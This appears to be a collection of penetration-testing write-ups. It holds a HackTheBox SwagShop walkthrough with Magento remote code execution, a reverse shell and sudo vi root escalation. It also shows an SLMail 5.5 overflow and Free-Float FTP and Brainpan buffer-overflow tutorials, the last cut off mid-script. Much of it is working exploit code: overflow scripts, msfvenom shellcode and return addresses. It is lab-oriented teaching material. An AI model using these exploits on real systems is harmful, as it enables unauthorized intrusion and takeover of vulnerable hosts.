I got the date from the page as suggested:

root@kali:~/htb# curl -s http://10.10.10.140/app/etc/local.xml | grep date
            <date><![CDATA[Wed, 08 May 2019 07:23:09 +0000]]></date>

I  download the fixxed script from https://github.com/puckiestyle/python/blob/master/magento_rce.py

root@kali:~/htb/swagshop# python magento_rce.py 'http://10.10.10.140/index.php/admin' "uname -a"
Linux swagshop 4.4.0-146-generic #172-Ubuntu SMP Wed Apr 3 09:00:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Shell

root@kali:~/htb# rlwrap nc -lvp 4444
listening on [any] 4444 ...
10.10.10.140: inverse host lookup failed: Unknown host
connect to [10.10.14.82] from (UNKNOWN) [10.10.10.140] 56756
bash: cannot set terminal process group (1289): Inappropriate ioctl for device
bash: no job control in this shell
www-data@swagshop:/var/www/html$ python3 -c "import pty; pty.spawn('/bin/bash')"
<html$ python3 -c "import pty; pty.spawn('/bin/bash')"                       
www-data@swagshop:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*
www-data@swagshop:/var/www/html$

I also can grab user.txtwith :

root@kali:~/htb/swagshop# python magento_rce.py 'http://10.10.10.140/index.php/admin' "cat /home/haris/user.txt"
a44*****ac8

Privesc to root

sudo -l shows I can run sudo with no password on vi in the web dir:

www-data@swagshop:/home/haris$ sudo -l
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*

I can also use the  example on GTFOBins, and get a shell from the command line:

www-data@swagshop:/var/www/html$ sudo vi /var/www/html/puckie -c ':!/bin/sh'
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
cat /root/root.txt
c2b0*****721

___ ___
/| |/|\| |\
/_| ´ |.` |_\ We are open! (Almost)
| |. |
| |. | Join the beta HTB Swag Store!
|___|.__| https://hackthebox.store/password

PS: Use root flag as password!

Author : Jacco Straathof

SLMail 5.5 BOF

SLMail 5.5 BOF

https://github.com/puckiestyle/python/blob/master/slmail55.py
 

result :

c:\PENTEST\BOF>python slmail55.py
Sending buffer...
\ Done.
root@kali:~# rlwrap nc -lvp 443
listening on [any] 443 ...
connect to [192.168.1.194] from IE8WIN7.home [192.168.1.59] 49169
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Program Files\SLmail\System>whoami
whoami
nt authority\system

C:\Program Files\SLmail\System>

Author: Jacco Straathof

Geef een reactie

FreeFloatFTP BOF

Free-Float FTP : Pop calc.exe via Stack Overflow.

Hello, today I planned to exploit a basic window application as the name suggest it’s a FTP (Free-Float v1.0) which is having a stack overflow in one of the parameters today we are going to use it to execute the shellcode and hopefully at the end of the post you will know how to exploit a basic windows application.

Requirements :

Windows XP SP-2/3

Kali Linux (For msfvenom shellcode generation)

Free-Float FTP v 1.0

So first we need to install immunity debugger, free float FTP on the windows XP machine.

This is how the free float FTP server looks like, while you are trying to ping a Windows XP machine you might not be able to ping it, because you need to disable the firewall to connect to it and exploit it.

Basic about FTP

There’s something we know as “anonymous user” on a FTP server which is much like the default credentials to access the FTP in this case it’s

anonymous : anonymous

Now let’s write a python script to connect to it.

So as the image above says my FTP is running on 192.168.1.100 and default FTP port 21

Python 2.7.1 (r271:86832, Nov 27 2010, 18:30:46) [MSC v.1500 32 bit (Intel)] on win32
Type "copyright", "credits" or "license()" for more information.
>>> import socket,sys
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> port = 21
>>> s.connect(('192.168.1.100',21))
>>> s.recv(1024)
'220 FreeFloat Ftp Server (Version 1.00).\r\n'
>>> s.send("USER anonymous \n")
16
>>> s.recv(1024)
'331 Password required for anonymous .\r\n'
>>> s.send("PASS anonymous \n")
16
>>> s.recv(1024)
'230 User anonymous  logged in.\r\n'
>>> junk = "A" * 1000
>>> s.send('MKD'+junk+'\n')
1004
>>> s.recv(1024)
"500 'MKDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': command not u"
>>> s.send('QUIT \n')
6
>>> s.close
<bound method _socketobject.close of <socket._socketobject object at 0x00A66D50>>
>>>

So from the script above we can see after supplying USER anonymous and PASS anonymous we tried to create a directory by MKD <name> and after exiting we got an error.

Here the name is the payload which was 1000 * "A"

Let’s check the status of FTP on windows XP.

So as we can see that it crashed it means we know that the 1,000 A’s are sufficient to cause the overflow.

So next up, we need to figure out how much data goes to MKD <name> to over-ride the ESP

So for that I am going to use msf-pattern_create to create a unique length string that helps me identify the offset.

root@kali:~/POP-Calc# msf-pattern_create -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Let’s use this as a payload to analyze where it crashes and to get an offset.

Now this is where the debugger comes in play, we need to attach Float FTP with the debugger to look at the stack.

Run the FTP and attach it to immunity debugger.

Once it’s loaded this is how it looks

Pane 1 shows the registers
Pane 2 shows the current instruction
Pane 3 shows the HEX dump

Let’s create a skeleton script

#!/usr/bin/python
import socket
import sys
junk ='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3A
c4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah
7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3A
k4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0
An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap
7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.1.100',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

After we run the program in immunity and hit exploit it crashes let’s look at ESP.

We see EIP as 37684136 that’s what we are going to use to figure out the offset.

root@kali:~# msf-pattern_offset -q 37684136
[*] Exact match at offset 230

So now we know what’s the payload for ESP override. But we also know that the overflow occurs at 1000 * A . Let’s change the payload a bit.

Updated payload looks like

#!/usr/bin/python
import socket
import sys
junk = "A" * 230 + "BBBB" + "C" * (1000 - 264)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.1.100',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Let’s adjust the padding a bit and make sure EIP is overriding as BBBB

After adjusting the padding we get to know that EIP hits BBBB at

junk = "A" * 230 + "BBBB" + "C" * (1000 - 264)

Next up you need to paste mona.py to the directory where immunity is installed inside the PyCommand folder

Now we are looking for a jmp ESP if you look in the screenshot above we need to put shellcode on ESP where C’s are residing and jmp to it

so we used !mona jmp -r esp and we see this

 

Now we are looking for SHELL32.dll in this case I am going to choose 0x7cb32d69.

better

let’s find JMP ESP in running immunity debugger

Now we are looking for SHELL32.dll in this case I am going to choose  7514D63F

The shellcode can be generated by using MSFvenom which looks like

root@kali:~# msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1060 bytes
buf =  ""
buf += "\xdb\xdc\xbd\xb0\xd7\x19\xf9\xd9\x74\x24\xf4\x5b\x29"
buf += "\xc9\xb1\x31\x31\x6b\x18\x03\x6b\x18\x83\xc3\xb4\x35"
buf += "\xec\x05\x5c\x3b\x0f\xf6\x9c\x5c\x99\x13\xad\x5c\xfd"
buf += "\x50\x9d\x6c\x75\x34\x11\x06\xdb\xad\xa2\x6a\xf4\xc2"
buf += "\x03\xc0\x22\xec\x94\x79\x16\x6f\x16\x80\x4b\x4f\x27"
buf += "\x4b\x9e\x8e\x60\xb6\x53\xc2\x39\xbc\xc6\xf3\x4e\x88"
buf += "\xda\x78\x1c\x1c\x5b\x9c\xd4\x1f\x4a\x33\x6f\x46\x4c"
buf += "\xb5\xbc\xf2\xc5\xad\xa1\x3f\x9f\x46\x11\xcb\x1e\x8f"
buf += "\x68\x34\x8c\xee\x45\xc7\xcc\x37\x61\x38\xbb\x41\x92"
buf += "\xc5\xbc\x95\xe9\x11\x48\x0e\x49\xd1\xea\xea\x68\x36"
buf += "\x6c\x78\x66\xf3\xfa\x26\x6a\x02\x2e\x5d\x96\x8f\xd1"
buf += "\xb2\x1f\xcb\xf5\x16\x44\x8f\x94\x0f\x20\x7e\xa8\x50"
buf += "\x8b\xdf\x0c\x1a\x21\x0b\x3d\x41\x2f\xca\xb3\xff\x1d"
buf += "\xcc\xcb\xff\x31\xa5\xfa\x74\xde\xb2\x02\x5f\x9b\x4d"
buf += "\x49\xc2\x8d\xc5\x14\x96\x8c\x8b\xa6\x4c\xd2\xb5\x24"
buf += "\x65\xaa\x41\x34\x0c\xaf\x0e\xf2\xfc\xdd\x1f\x97\x02"
buf += "\x72\x1f\xb2\x60\x15\xb3\x5e\x49\xb0\x33\xc4\x95"
root@kali:~#

Let’s add the address and insert the NOP properly to make it pop the calc.exe

After adjusting the padding and nops we get :

#!/usr/bin/python
import socket
import sys
#evil = "A"*247 + "B"*4 + "C"*749
#evil = "A"*247 + "\x7D\x16\x9C\x7C" + "C"*749
shellcode = ("\xbf\xcd\x19\x02\x91\xd9\xea\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x33\x31\x7e\x12\x03\x7e\x12\x83\x0b\x1d\xe0\x64\x6f\xf6\x6d"
"\x86\x8f\x07\x0e\x0e\x6a\x36\x1c\x74\xff\x6b\x90\xfe\xad\x87"
"\x5b\x52\x45\x13\x29\x7b\x6a\x94\x84\x5d\x45\x25\x29\x62\x09"
"\xe5\x2b\x1e\x53\x3a\x8c\x1f\x9c\x4f\xcd\x58\xc0\xa0\x9f\x31"
"\x8f\x13\x30\x35\xcd\xaf\x31\x99\x5a\x8f\x49\x9c\x9c\x64\xe0"
"\x9f\xcc\xd5\x7f\xd7\xf4\x5e\x27\xc8\x05\xb2\x3b\x34\x4c\xbf"
"\x88\xce\x4f\x69\xc1\x2f\x7e\x55\x8e\x11\x4f\x58\xce\x56\x77"
"\x83\xa5\xac\x84\x3e\xbe\x76\xf7\xe4\x4b\x6b\x5f\x6e\xeb\x4f"
"\x5e\xa3\x6a\x1b\x6c\x08\xf8\x43\x70\x8f\x2d\xf8\x8c\x04\xd0"
"\x2f\x05\x5e\xf7\xeb\x4e\x04\x96\xaa\x2a\xeb\xa7\xad\x92\x54"
"\x02\xa5\x30\x80\x34\xe4\x5e\x57\xb4\x92\x27\x57\xc6\x9c\x07"
"\x30\xf7\x17\xc8\x47\x08\xf2\xad\xb8\x42\x5f\x87\x50\x0b\x35"
"\x9a\x3c\xac\xe3\xd8\x38\x2f\x06\xa0\xbe\x2f\x63\xa5\xfb\xf7"
"\x9f\xd7\x94\x9d\x9f\x44\x94\xb7\xc3\x0b\x06\x5b\x2a\xae\xae"
"\xfe\x32")
buffer = "\x90" * 30 + shellcode
evil = "A"*247 + "\x7D\x16\x9C\x7C" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.100',21))
s.send('USER anonymous\r\n');s.recv(1024)
s.send('PASS anonymous\r\n');s.recv(1024)
s.send('MKD ' + evil + '\r\n');s.recv(1024)
s.send('QUIT\r\n');s.close

Let’s see this in action.

Now you can change the exec CMD = <whatever> and get the execution.

reference used : https://medium.com/@codingkarma/free-float-ftp-pop-calc-exe-via-stack-overflow-3be11ce23570

video :

metasploit :

Author : Jacco Straathof

Brainpan 1 BOF

CTF: Brainpan 1 CTF walkthrough – Introduction to exploit development (Part I)

VM: https://www.vulnhub.com/entry/brainpan-1,51/
Difficulty: Beginner/Intermediate
IP: 172.16.253.130 (arp-scan -I vmnet1 –localnet) If you were looking either for a walkthrough on the Brainpan 1 vulnhub CTF or for a tutorial/article to serve as an Introduction to exploit development you clicked on the right link.

Phase 1: Enumeration & Port Scan

The port scan on this host discloses two remotely accessible opened ports – 9999 which nmap is unable to enumerate through its fingerprint database although the scanner reports it as a possible abyss web server, and 10000 which is a  web server set up through the SimpleHTTPServer python module.

nmap -O -sT -sV -p- 172.16.253.130 -T5 - nmap - Brainpan 1 CTF walkthrough - vulnhub - d7x - PromiseLabs - blog
nmap -O -sT -sV -p- 172.16.253.130 -T5​

Connecting to port 9999 using netcat spawns a password request prompt:

Port 999 password prompt - Brainpan 1 - vulnhub - CTF - walkthrough - d7x - PromiseLabs - blog
Enumerating port 9999 on target Brainpan 1 – a socket application requiring a password

There’s nothing on the front page of the web server, neither a robots.txt file, and running dirb on the target discovers the following directory  with directory listing:

# dirb http://172.16.253.130:10000/

http://172.16.253.130:10000/bin Looking at the directory’s contents discloses a file named brainpan.exe Checking the application locally either using a simulated windows environment or wine shows that this application is most likely the web server daemon running on port 9999 on the target which nmap is not able to enumerate and reports as a possible abyss web server

Phase 2: Inspecting and Fuzzing brainpan.exe

The first step of debugging the application and trying to get the password of the brainpan.exe application is by reviewing its contents using a hex editor or to look for any ASCII strings in its binary code using the strings command:

# strings brainpan.exe
Retrieving password "shitstorm" on Brainpan 1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
brainpan.exe – password “shitstorm”

Trying to provide the password “shitstorm” to the application, however, doesn’t provide anything useful, despite the fact that the password provided was the correct one:

Brainpan 1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
Providing password “shitstorm”

Now we could fuzz the application and provide an overlength string, however in case a buffer overflow occurs the daemon would stop working and make the port inaccessible. In this case restarting the VM would work, but in a real-world scenario throwing the key for a door in front that you want to unlock is not desired. Thus the file should be inspected in a local environment you have control of. As the file is a 32-bit windows executable a simulated Windows environment is required to debug it. Evaluation versions of windows virtual machines can be downloaded from the Download virtual machines section on Microsoft’s website. (Preferably a Windows 7) Running the brainpan.exe applications proves that it is indeed the daemon running on the target: 


The next step is to fuzz the application and see if a buffer overflow condition could be reached. This can be done by sending a long string (a string of an unexpected length of bytes which is usually not used to store a password). The application can be fuzzed either remotely using kali and connecting to the remote VM IP where the daemon is running or by installing python on the Windows 7 VM – I prefer the latter for accessibility) (or If you are using Kali as a host OS the virtualization software may not allow pasting the string directly into the guest VM) To generate a long string using python from the command line, the following command could be used:

python -c 'print "A"*1000'

To  generate a long string using python on Windows is slightly more complicated task as you’ll need to reverse the quotes and store it in a file and copy it from there to avoid the command prompt line wrapping:

 python -c "print 'A'*1000' > string.txt
Generating a long string

Alternatively, you could use a simple fuzzer like this:

#!/usr/bin/python
import time, socket
# Create a string, fuzz from ilength (initial length) to tlength
# (target length), with increments of 500 (increment).
buffer="A"
ilength=100
tlength=2000
increment=500

for x in range(increment,tlength,increment):
	print "Fuzzing with %s bytes" % x
	buffer = "A"*x
	print buffer
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connect=s.connect(('192.168.1.115',9999))
	time.sleep(1)
	s.send(buffer + "\r\n");
	s.close()

	x += increment

The above script would just increment the string length by 200 each time, connect to the application and pass the string until the buffer overflow condition is reached Pasting 1000 bytes of “A”s reaches a buffer overflow condition in the program causing it to crash:

Reaching a Buffer Overflow condition on brainpan.exe

Now it’s time for

Phase 3: Debugging the application

To debug the application you would need a debugger like Immunity Debugger Fuzzing the application showed that we need about 1000 bytes to crash the application, thus the skeleton exploit becomes like this:

import time, socket
buffer = "A"*1000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('127.0.0.1',9999))
time.sleep(1)
s.send(buffer + "\r\n")
s.close()

Now to start debugging the vulnerable application run brainpan.exe, then open Immunity Debugger and click File > Attach. Then find the brainpan.exe application and click Attach to attach the debugger to its process: 

Note how the application’s process states “Paused” at the bottom. You have to click on the Run program button at the top bar of Immunity Debugger or click F9 to run it. The state would then change to “Running”. Now run the fuzzer.py script that was created and the application would crash, showing the EIP register overwritten with 41414141, which is the hex code equivalent to 4 bytes of “A”, as sent in our buffer:

A Buffer Overflow condition – EIP is 414141

EIP states for Extended Instruction Pointer and it always contains the address of the next instruction to be executed. What this means is once control of the EIP register is taken the control of the execution flow has been taken over of the program, and can be pointed it to an arbitrary address containing a malicious shellcodeWhere did the rest of the buffer go?

ESP: Follow in dump

Following ESP in dump shows 8 bytes per line in Immunity Debugger using it default settings, and in this case the buffer of A’s starts at address 0022F930 and ends at the final shown byte at 0022FB00 . You could either count the total bytes manually or use the following python code and let python do the math: ( print ESP_end_adress – ESP_startAdress )

# python -c 'print 0x0022FB00 - 0x0022F930'
Calculating shellcode space – 464 bytes available

This means that we are provided with exactly 464 bytes to work with (as the buffer of A’s ended at the last byte located at 0x0022F930), and an average reverse shell payload generated by msfvenom is about 350 bytes, which means that there’s sufficient space in the ESP register to put our shellcode. (In case there wasn’t enough buffer for a shellcode the first step would be to try to increase the payload length and check whether some additional space would be provided into the ESP register, however this would not always work) Where have we gone so far?

  • Fuzzed the application with a buffer of 1000 bytes
  • Located a space for our shellcode in the ESP register

What’s left to do?

  • -> Find the exact offset where EIP is overwritten
  • -> Find bad characters which may affect our payload and terminate its execution
  • -> Find a return address an instruction that jumps to ESP (i.e. point the next instruction to reach an address located within the ESP register) and redirect the execution flow
  • -> Generate a shellcode payload for the target platform (Windows/x86)
  • -> Swap shellcode and test the exploit locally
  • -> Run the exploit on the target machine (Brainpan)

Finding the exact offset

Finding the exact offset where ESP is overwritten can be easily done using the pattern_create.rb and pattern_locate.rb ruby scripts which are part of the metasploit framework. First, using the pattern_create.rb script a unique string is created, which is then swapped with the buffer being sent to the vulnerable application:

Generating a unique string using pattern_create.rb

The code of the exploit becomes then as following:

import time, socket
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.139',9999))
time.sleep(1)
s.send(buffer + "\r\n")
s.close()

Running the above code and checking the EIP register in Immunity Debugger shows that EIP gets overwritten with the value 35724134

Brainpan.exe: EIP at 35724134

To find the exact offset, the pattern_locate.rb tool could be called using the EIP value:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134 -l 1000
Exact offset at 524

The tool reports that the exact offset where EIP gets overwritten with the buffer it receives is at 524. To test this and move on further, the buffer in the exploit code becomes:

buffer = "A"*524 + "B"*4 + "C" * (1000-524-4)

The C’s at the end are added for consistency as it is preferable to keep a consistent payload length while building the exploit.  Updating the exploit code with the above buffer shows that now EIP gets overwritten with the value of “42424242” which means the calculations were right:

EIP – 42424242 (Finding the exact offset, EIP gets overwritten at position 524)

Bad characters (Checking for and taking into account)

The bad characters are characters which have to be avoided when generating shellcode, or in other words characters which by any means would stop the execution flow of the application and terminate it, or terminate the payload being sent at an early stage prior to reaching its final stage. An example for a bad character is the null-terminator which terminates thes tring (00 in hex), and in this case the “enter” key which has a hex code equivalent of “2a”. The process of testing for bad characters consist of swapping the payload being sent to the vulnerable application with all  the characters from the ASCII table (you can see a quick way on how to generate such a string in my cheatsheet) and then looking whether there are any characters missing from the register where the payload is stored (in this case ESP), or whether the buffer has been unexpectedly interrupted in memory. String to test for bad characters (excluding the null-byte terminator as it should always be avoided): (ASCII 1-255)

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Length: 255 As we already know that the \x00 and the \x0a characters have to be excluded they will be missing from the badchars string below. The python exploit code to test for bad characters becomes as following:

import time, socket
